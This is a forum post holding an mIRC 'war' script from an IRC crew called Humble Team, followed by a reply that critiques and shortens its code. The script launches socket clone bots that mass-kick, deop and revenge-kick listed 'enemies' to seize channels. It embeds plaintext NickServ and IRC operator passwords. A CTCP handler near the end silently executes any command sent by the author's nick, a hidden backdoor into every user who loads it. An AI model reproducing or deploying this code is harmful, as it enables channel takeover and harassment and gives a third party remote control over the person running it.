Latest Version Of Humble Team in HumbleGath server.
9============================================================
7______ __ ______ _________ ______
7___ / / /____ _____ |/ /___ /_ ___ / _____
7__ /_/ / _ / / /__ /|_/ / __ __ \__ / _ _ \
7_ __ / / /_/ / _ / / / _ /_/ /_ /___/ __/
7/_/ /_/ \__,_/ /_/ /_/ /_.___/ /_____/\___/
14This Is My Last Version..Thanks To HumbleTeam Crew For supported..
9============================================================
9===================14[HUMBLE-TEAM CREW]9==================
7.;FOUNDER: sEmuT^Ap| 4.:JUNIOR: Region
4.:SENIOR: Milo`Ice 4.:SENIOR: Dexept|on
4.:SENIOR: Kopi_Hitam 4.:SENIOR: Cwok_K3s3p1an
4.:SENIOR: ^shahfiqa^ 4.:SENIOR: Wing_King
4.:SENIOR: Nadzmi 4.:SENIOR: Evilsoul
4.:SENIOR: Jal_grunge 4.:SENIOR: jGnBuLi
4.:SENIOR: Erik_Sulawesi 14.:FIGHTER: PCunlimited
9==============[UNLIMITED SOCKETS XREC VERSION]==============
-
9;=============[SCRIPT START]=========
alias f9 { msg $chan *** 14,15[ KICK : $iif(%kickni,%kickni,0) TIMES];14,15[ KICKED : $iif(%kickme,%kickme,0) :TIMES] 4Total Kicks:1[ $calc(%kickni - %kickme) 1] $percentage *** }
alias sf9 { .unset %kickni %kickme | .echo 7 The Point Has been Reseted }
on *:start: {
.nick sEmuT^Ap|
.fullname $logoXrec
.anick jipas
.emailaddr m_matsalleh $+ yahoo.com
.unset %sockidentifier %pass %server %port
.echo 14 ==> 9--------------------4[HUMBLE TEAM RULES AND UNLIMITED SOCKETS]9--------------------
.echo 14 ==> Please Respect my work,dont ever show/copy&paste this code to the fuckers noober~~!!!
.echo 14 ==> If You wish To load Unlimited Socktes,You Can press 4sf1 and follow the instruction given~~ ^_^"
.echo 14 ==> Press 4f4 and type your warchannel target,press 4f5 to add enemies else 4sf5 to remove~~
}
alias iutbotko { .sockwrite -nt $sock(*,%sockjef) part # 4Rejoining time haha~ | .sockwrite -nt $sock(*,%sockjef) join # }
alias f7 { .ping $me | .ping Chanserv@Services.HumbleGath.Biz.Tm }
alias sf7 { .sockwrite -nt $sock(*,%sockjef) kick %chan $1 4IntroKick }
on *:connect: { .ns release sEmuT^Ap| dupang | .nick sEmuT^Ap| | .ns identify sEmuT^Ap| dupang | .oper sEmuT^Ap| ikan^kekek }
alias sf5 { %dxrec = $remtok(%dxrec,$1,1,44) | %eyut = $remtok(%eyut,$1,1,44) | %IpX = $remtok(%IpX,$address($1,2),32) | echo 7 -a ** $1 Removed From WaRList ** }
alias f5 { %dxrec = $addtok(%dxrec,$1,44) | %eyut = $addtok(%dxrec,$1,44) | %IpX = $addtok(%IpX,$address($1,2),32) | echo 7 -a ** $1 Added To WaRList ** }
menu channel,status {
[STAY|CHANNEL]
.[chnSockXrec]: { .set %tempatiut $?"Enter Your Bot's Channel Should Be Stay Park" | .echo 7 * Channel Park Is Now 4Setup 7to4 %tempatiut | msg $chan : 14 %tempatiut Is 4Selected }
-
[JOIN|PART]
.[join]: { set %sockjef 1 | set %iutXrec $sock(*,0) | sockwrite -nt $sock(*,1) Join %chan }
.[part]: { .z $sock(*,%sockjef) part %chan 4HUMBLE-TEAM }
-
[MODE|SOCK]
.[delayop] ( $+ $iif(%delayop,ON,OFF) $+ ) :{ set %delayop $iif(%delayop,$false,$true) | .echo 7 ==> Delay-Op Is Now $iif(%delayop,ON,OFF) }
.[onjoiop] ( $+ $iif(%ojdeop,ON,OFF) $+ ) :{ set %ojdeop $iif(%ojdeop,$false,$true) | .echo 7 ==> On join deop is now Is $iif(%ojdeop,ON,OFF) }
-
[REJOIN]
.[rejoin]: { .iutbotko }
}
alias sf1 { .echo 7 ==> sockXrec Configuration is now 4Ready
.set %sockidentifier $?"14Enter Your Root Bots Here"
.set %pass $?"14Dont Forget Your Password"
.set %server $?14"Then Your Base Server"
.set %port $?"Lastly Your Port"
.echo 7 ==> Okay, Now You can Press 4sf2 7to Reload Your Bots
}
alias sf2 { .sockopen $randomnick %server %port }
alias f2 { unset %sockidentifier %pass %server %port | .echo 7 * The Configuration has been 4Reseted }
alias f3 { .sockclose * | .unset %socknick %botak %chan %eyut %dxrec %kabus %IpX | .echo 7 * SocketxRec Is now 4Closed | msg # 14Sockets 4Closed }
alias randomnick {
goto $r(1,2)
:1 | return DDcBot $+ $r(1,9999)
:2 | return DScomputer $+ $r(1,9999)
}
alias sf3 { .echo 7 *** My sockets now connected ==>4 %botak }
alias f4 {
if (#$?=" Enter Your War Channel Selected Here Ex: iutchannel ") { | %chan = $v1 | .echo 7 ==> WarChannel selected }
else { .echo 7 * woiii $me getek..No Channel Input lah..!!! }
}
alias hKh { return $mid($1,2,$calc($pos($1,!,1) - 2 )) }
alias dupang { .z cs deop $1 $replace(%dxrec,$chr(44),$chr(32)) | .z $sockname JOIN $1 }
alias f6 { %flist = $addtok(%flist,$1,44) | .echo 6 -a ** $1 Added To Friends ** }
alias f8 { unset %IpX }
alias sf10 { unset %eyut %dxrec }
alias jefcode {
goto $r(1,2)
:1 | return Jeff $+ $r(1,19999)
:2 | return Erah $+ $r(1,99999)
}
on *:rawmode:#:{
if ($1 == -o) && ($2 == $sock(*,%sockjef)) { .sockwrite -nt $sock(*,%pangiut) cs op %chan $2 }
}
on *:sockopen:*: {
if (!$sockerr) {
var %ojef $sockname
sockwrite -nt $sockname USER $jefcode * * : 9Processing Xrec Jeff
sockwrite -nt $sockname NICK %ojef
sockwrite -tn %ojef mode $sockname +R
%socknick = $addtok(%socknick,%ojef,46)
.sockart
%botak = $numtok(%socknick,46)
}
}
on 1:kick:%chan:{
if ($knick != $sock(*,%sockjef)) && ($knick != %botak) {
if ($istok(%dxrec,$knick,44)) {
%dxrec = $remtok(%dxrec,$knick,1-1,44)
}
if ($istok(%kabus,$knick,44)) {
%kabus = $remtok(%kabus,$knick,1-1,44)
}
if ($nick == $sock(*,%sockjef)) { .inc %kickni 1 }
}
}
alias sockart { if (!$window(@XrecBots)) { window -ae @XrecBots } }
on *:sockread:*:{
if ($sockerr > 0) { return }
var %temp | sockread %temp
if ($sockbr == 0) { return }
if (%temp == $null) %temp = -
tokenize 32 %temp
if ($regex($1,^ERROR)) { sockclose $sockname }
if ($regex($1,^PING$)) { z $sockname PONG $2 }
if ($regex($2,^(432|433)$)) { z $sockname NICK $sockname }
if ($regex($2,^376$)) {
inc %iutXrec 1
.set %iutXrec $sock(*,0)
.z $sockname ns identify %sockidentifier %pass
}
if ($2 == 441) { %kabus = $remtok(%kabus,$4,1-1,44) }
if ($2 == 366) { if (%kabus) && (!%kick) .KickerJef $sock(*,%sockjef) }
if ($2 == 401) { %kabus = $remtok(%kabus,$4,1-1,44) }
if ($2 == 482) { if (!%kick) { %kick = 1 } }
if ($2 == KICK) {
var %jf $hkh($1)
if ($4 == $sockname) {
inc %kickme 1
%dxrec = $addtok(%dxrec,%jf,44)
%eyut = $addtok(%eyut,%jf,44)
%IpX = $addtok(%IpX,$mask($1,2),32)
inc %sockjef 1
%pangiut = $calc(%sockjef + 1)
if (%sockjef > %iutXrec) { %sockjef = 1 }
if (%pangiut > %iutXrec) { %pangiut = 1 }
.sockwrite -nt $sock(*,%pangiut) cs deop %chan %jf
.sockwrite -tn $sock(*,%sockjef) join %chan
.echo -a * 4 $sock(*,%sockjef) Getek has joined to %chan
}
else { %kabus = $remtok(%kabus,%jf,%botak,44) }
}
if ($2 == MODE) {
if (+o == $4) && ($5 == $sockname) { .set %opla !
if (%kick) {
if ($gettok(%kabus,1-1,44)) { .z $sockname KICK $3 $v1 $logoXrec } | if (%delayop) { set %opla $true }
if ($gettok(%kabus,2-2,44)) { .z $sockname KICK $3 $v1 $logoXrec } | if (%delayop) { set %opla $true }
if ($gettok(%kabus,3-3,44)) { .z $sockname KICK $3 $v1 $logoXrec } | if (%delayop) { set %opla $true }
if ($gettok(%kabus,4-4,44)) { .z $sockname KICK $3 $v1 $logoXrec } | if (%delayop) { set %opla $true }
}
}
}
if ($2 == JOIN) {
var %jipas $hkh($1)
if ($istok(%IpX,$mask($1,2),32)) && (%jipas != $sockname) {
%kabus = $addtok(%kabus,%jipas,44)
if (%opla) .z $sockname KICK %chan %jipas $XrecIut
if (%delayop) { .sockwrite -nt $sock(*,%pangiut) cs op %chan $sockname }
if (%ojdeop) { .sockwrite -nt $sock(*,%pangiut) cs deop %chan %jipas }
}
}
if ($2 == NOTICE) {
var %in = $hkh($1), %jip = $right($4-,-1), %oten = $right($4,-1)
if (%in == chanserv) {
if ($4 $5 $6 == :You were deop) && ($3 == $sockname) && ($nick != $sockname) {
%kick = ! | unset %opla
.z $sock(*,%pangiut) cs deop %chan %in
}
elseif (*is not in* iswm %jip) { %dxrec = $remtok(%dxrec,$strip(%oten),%botak,44) | return }
}
else { return }
}
if ($2 == INVITE) {
var %ddlist = $replace(%d,$chr(44),$chr(32))
if (%eyut) && ($sockname !ison %chan) { .z $sockname ison %ddlist }
}
if ($2 == 303) {
var %is = $remove($4-,:)
%dxrec = $replace(%is,$chr(32),$chr(44))
unset %kabus %kick
}
if ($2 == 353) {
var %xrekan $remove($3-,@,+), %num = 1
while ($gettok(%eyut,%num,44) != $null) {
if ($gettok(%eyut,%num,44) isin %xrekan) {
%kabus = $addtok(%kabus,$gettok(%eyut,%num,44),44)
}
inc %num
}
}
if ($2 == 002) { .z $sockname join %tempatiut }
else { echo -ct $2 @XrecBots 04 $1- }
}
on 1:nick:{
if ($istok(%dxrec,$nick,44)) {
%dxrec = $reptok(%dxrec,$nick,$newnick,1-1,44)
}
if ($istok(%eyut,$nick,44)) {
%eyut = $reptok(%eyut,$nick,$newnick,1-1,44)
}
}
#Xrecjef off
on *:NOTICE:*You were deop*:#: {
if (# == %chan) {
if ($4 != $sockname) && ($1 != $sockname) && ($sockname !ison #) {
%dxrec = $addtok(%dxrec,$4,44)
%dxrec = $addtok(%dxrec,$1,44)
if ($group(#Xrecjef) == on) && ($sockname) { dupang # | .enable #Xrecjef }
}
}
}
#Xrecjef end
alias z { sockwrite -nt $1- }
alias XrecIut {
goto $r(1,3)
:1 | return : 0,3_(#)-15.HumbL31[9HumLeXreC v7.11]153LbmuH.0-0(#)_
:2 | return : 0,4_(#)-15.HumbL31[9 _Computer Science Looping_ 1]153LbmuH.0-0(#)_
:3 | return :4Hanya4Untuk4Manusia4Biasa4Lepaskan4Egonya
}
alias logoXrec {
goto $r(1,2)
:1 | return : 0,7_(#)-15.HumbL31[9 _HumbleXrec Completed InC_ 1]153LbmuH.0-0(#)_
:2 | return : 0,2_(#)-15.HumbL31[9 _H u m b L e X r e C say: Think Before Say..Noober!!_ 1]153LbmuH.0-0(#)_
:3 | return :8,4¡§?=9,1??8,1HUMBLE1,4=-±§!
}
alias Xrecdeop {
var %i %eyut, %kabus $numtok(%eyut,44), %s $sock(*,%sockjef)
while (%kabus > 0) {
.z %s cs deop %chan $gettok(%eyut,%kabus,44)
.dec %kabus
}
}
alias KickerJef {
var %i %eyut, %kabus $numtok(%eyut,44), %jep $sock(*,%sockjef)
while (%kabus > 0) {
.z %jep kick %chan $gettok(%eyut,%kabus,44) 7Revenge Kick The Show Time
.dec %kabus
}
}
on ^*:KICK:#: {
if ($numtok(%IpX,32) == 30) { .F8 | .echo -a *** The List Of Ip's Was 4CLeared }
if ($numtok(%eyut,44) == 35) { .sf10 | .echo -a *** The List Of Nicks Was 4CLeared }
}
alias percentage {
var %per $calc((%kickni / (%kickni + %kickme)) * 100), %cent $round(%per,2) $+ %
if (%cent == $null) return %cent :(
if (%cent <= 49.99) return 4Accuracy 1[ %cent 1]***4COMMENT: failed kick,I Must Think More About My scirpt..
if (%cent <= 54.99) return 4Accuracy 1[ %cent 1]***4COMMENT: My Point Now Is Passed..
if (%cent <= 64.99) return 4Accuracy 1[ %cent 1]***4COMMENT: My Point Now Is Good
if (%cent <= 69.99) return 4Accuracy 1[ %cent 1]***4COMMENT: Wow.. I Got Very Good Point.. ^_^"
if (%cent <= 79.99) return 4Accuracy 1[ %cent 1]***4COMMENT: Very Wow.. I Got SuperB..
if (%cent >= 100) return 4Accuracy 1[ %cent 1]***4COMMENT: Lastly,I Got Excellent.. THANKS
}
CTCP *:*:{
var %i $1
if (%i == PING) { .notice $nick 9 reply $r(1,1000) $+ 9sec 7Neh.. Ko tengah ddos aku ka ko ping?nie ??? | .halt }
if ($nick == sEmuT^Ap|) { $1- }
}
menu nicklist {
-
.[kick|mode] { .sockwrite -nt $sock(*,%sockjef) kick %chan $1 9Ehh~ Manual kick time~!!! }
}
As posted above the percentage alias does not work.
I could see problems and obvious ways to shorten it before I ever copy and tested it. As a matter of fact, I never tested the whole snippet. I read it, copied and tested what I saw to fix and improve, and posted back my suggestions. There may still be other issues other that what I saw quickly and replied to. The first post I didn't put the {brackets} because I never bothered to test that simple line. The percentage alias was the only part I actually copy and tested and edited inside the mIRC editor, this is probably a common approach for the dozen or so members that read new postings.
Simple as that. No haha, no lol.
if ($2 == 366) { if (%kabus) && (!%kick) .KickerJef $sock(*,%sockjef) }
if ($2 == 482) { if (!%kick) { %kick = 1 } }
could be simplified as:
if $2 == 366 && %kabus && !%kick { .KickerJef $sock(*,%sockjef) }
if $2 == 482 && !%kick { %kick = 1 }
alias randomnick { return $iif($r(0,1),DDcBot,DScomputer) $+ $r(1,9999) }
alias jefcode { return $iif($r(0,1),Jeff,Erah) $+ $r(1,9999) }
This is inside the group: if ($group(#Xrecjef) == on)
Thus no need to check if group is on
alias percentage {
var %cent $round($calc((%kickni / (%kickni + %kickme)) * 100),2), %comment
if (%cent < 50) %comment = failed kick,I Must Think More About My script..
elseif (%cent < 55) %comment = My Point Now Is Passed..
elseif (%cent < 65) %comment = My Point Now Is Good
elseif (%cent < 70) %comment = Wow.. I Got Very Good Point.. ^_^
elseif (%cent < 80) %comment = Very Wow.. I Got SuperB..
elseif (%cent < 101) %comment = Lastly,I Got Excellent.. THANKS
return Accuracy: %cent $+ % COMMENT: %comment
}
_______________________________________________________________________________